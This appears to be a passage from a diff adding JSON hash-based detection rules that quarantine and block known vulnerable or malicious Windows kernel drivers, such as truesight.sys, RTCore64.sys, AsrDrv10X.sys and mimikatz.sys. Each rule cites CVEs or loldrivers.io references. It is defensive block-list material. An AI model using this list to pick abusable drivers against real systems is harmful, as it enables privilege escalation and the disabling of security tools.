+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a77dee1db0339390fa27b11bb8e9e5a42456bff8475c56897ebf075ac0edb67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64d337d3-b02c-55ae-b66c-df6daee543f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820754Z",
+  "creation_date": "2026-03-23T11:45:30.820756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa77a472e95c4d0a2271e5d7253a85af25c07719df26941b39082cfc0733071a",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64d4d9d2-3681-5f76-88bc-c186456b9efd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461867Z",
+  "creation_date": "2026-03-23T11:45:30.461882Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461891Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be70be9d84ae14ea1fa5ec68e2a61f6acfe576d965fe51c6bac78fba01a744fb",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64da875a-edbf-5509-902f-21ce7dfa93a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145400Z",
+  "creation_date": "2026-03-23T11:45:32.145404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4eaf2205cdd189cc96806bd5364a505f77ad5dbb622558cd374044965fd20658",
+  "comment": "Malicious Kernel Driver (aka driver_e1123b59.sys) [https://www.loldrivers.io/drivers/11a73c42-26aa-446b-8560-43eecb265091/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64e0b04d-dfe5-5e9a-8b5d-f584ef5e6dab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824004Z",
+  "creation_date": "2026-03-23T11:45:30.824007Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c85c10c26b9941abb5e7bc3e5a01a128da7c44b8b2a24b2d2654225d48ae6f8f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64f36027-17a5-5d2f-aaa5-a40117162dac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984729Z",
+  "creation_date": "2026-03-23T11:45:29.984731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab300e7e0d5d540900dbe11495b8d6788039d1cffb22e2dc2304b730a71eec97",
+  "comment": "Dangerous Physmem Kernel Driver (aka asmmap.Sys) [https://www.loldrivers.io/drivers/d0048840-970f-4ad5-9a07-1d39469d721f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64f70719-cc96-5d48-bdb8-840631d1a640",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613460Z",
+  "creation_date": "2026-03-23T11:45:29.613462Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613467Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11eecf9e6e2447856ed4cf86ee1cb779cfe0672c808bbd5934cf2f09a62d6170",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64f8d71e-7176-5b19-8f40-84386f638172",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152568Z",
+  "creation_date": "2026-03-23T11:45:31.152570Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4985e6dd1719e2b4d40e2748ea6d631fa75a8d0c36ef9f05a7bf910d7583700",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65062a53-1930-5b23-954b-0ef08c0d0350",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459651Z",
+  "creation_date": "2026-03-23T11:45:30.459655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9b433a33dc72eb2622947b41f01d04a48cd71beac775a88f3f1e4c838090ee8",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "651ca25e-48ff-5848-9ee3-bccc52173c4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817017Z",
+  "creation_date": "2026-03-23T11:45:30.817019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e928948ee36fa14c99a9147cd3b8d4c8c1917c52b50857d922ac72ed55d1f8e7",
+  "comment": "Vulnerable Kernel Driver (aka SMARTEIO64.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "654326fb-92f9-5f74-b6ab-3abce2fa978a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613424Z",
+  "creation_date": "2026-03-23T11:45:29.613426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613432Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c767a5895119154467ac3fce8e82c20e6538a4e54f6c109001c61f8abd58f9f8",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6544316f-5707-53b9-819f-928dec6519cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607452Z",
+  "creation_date": "2026-03-23T11:45:29.607455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "077aa8ff5e01747723b6d24cc8af460a7a00f30cd3bc80e41cc245ceb8305356",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "655f1e1e-3219-5d48-96a4-dbc9becca136",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619767Z",
+  "creation_date": "2026-03-23T11:45:29.619769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c4ffe4815b5755d2609be21ba53c9157e8f71137f06fe35044406b968b80320",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65698cd5-87c1-544c-8b6c-92365c297401",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835349Z",
+  "creation_date": "2026-03-23T11:45:30.835352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06605cc9d052e471bfe48802dbd85c8fc3dfd0c0746878a42f7659888d4fc191",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6590d364-bed4-538a-b600-88e521308295",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974384Z",
+  "creation_date": "2026-03-23T11:45:29.974386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f642b5e76572b80684d15bf48bb6e2b6d2743171280ab50502284808a515904",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6596fe30-7d44-5bcb-9cb5-17a79f12acbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986214Z",
+  "creation_date": "2026-03-23T11:45:29.986218Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d055be2671e136c937f361cef905e295ddb6983526341f1d5f80a16b7655b40",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSBMon.sys) [https://www.loldrivers.io/drivers/babe348d-f160-41ec-9db9-2413b989c1f0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65a6a867-6f41-5395-8c87-e3c751bfd7a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493763Z",
+  "creation_date": "2026-03-23T11:45:31.493766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "283f5edbbe9a4a65a7e421627a23a946233fb4dc9237ab395547f2a30f3d8f08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65abc760-c3fe-5026-abab-0d6f56c1dfbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606558Z",
+  "creation_date": "2026-03-23T11:45:29.606560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ba919c4ab0eff0058547e3b57442212e5d3e34be28d826fc2a191883fa18b6e",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65b1d504-064e-5d74-b2c7-eddc67b917cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485321Z",
+  "creation_date": "2026-03-23T11:45:31.485325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "402d4ea7e321cf2cfbabc3908043dac1f1da6c630f9380979fcbc6c7a594c4bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65c04d2a-5d51-51a6-9c1b-3af7b24cc4ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816227Z",
+  "creation_date": "2026-03-23T11:45:30.816229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1463b7fec911c10a8c96d84eb7c0f9e95fa488d826647a591a38c0593f812a4",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65c5388f-c34f-5798-b031-229373ee7460",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827489Z",
+  "creation_date": "2026-03-23T11:45:30.827491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827497Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "adf94caaaa25cc59790e03095491cfb6cd572045bfafb2eb6d2ec54ee254dfb8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65c6d37a-5060-5797-a936-93d4d2e12eb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984157Z",
+  "creation_date": "2026-03-23T11:45:29.984158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984164Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008",
+  "comment": "Vulnerable Kernel Driver (aka OpenLibSys.sys) [https://www.loldrivers.io/drivers/2e4fedb0-30ed-400d-b4e1-b2b2004c1607/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65cc3d27-977b-547c-8765-1055e2d15b12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474650Z",
+  "creation_date": "2026-03-23T11:45:31.474654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb810b820972a5817b7a7e793c3ba15eea67a234f54ed82a9db7ed57d2bce477",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65dbd266-bd59-5e13-af5c-1197a01cee35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
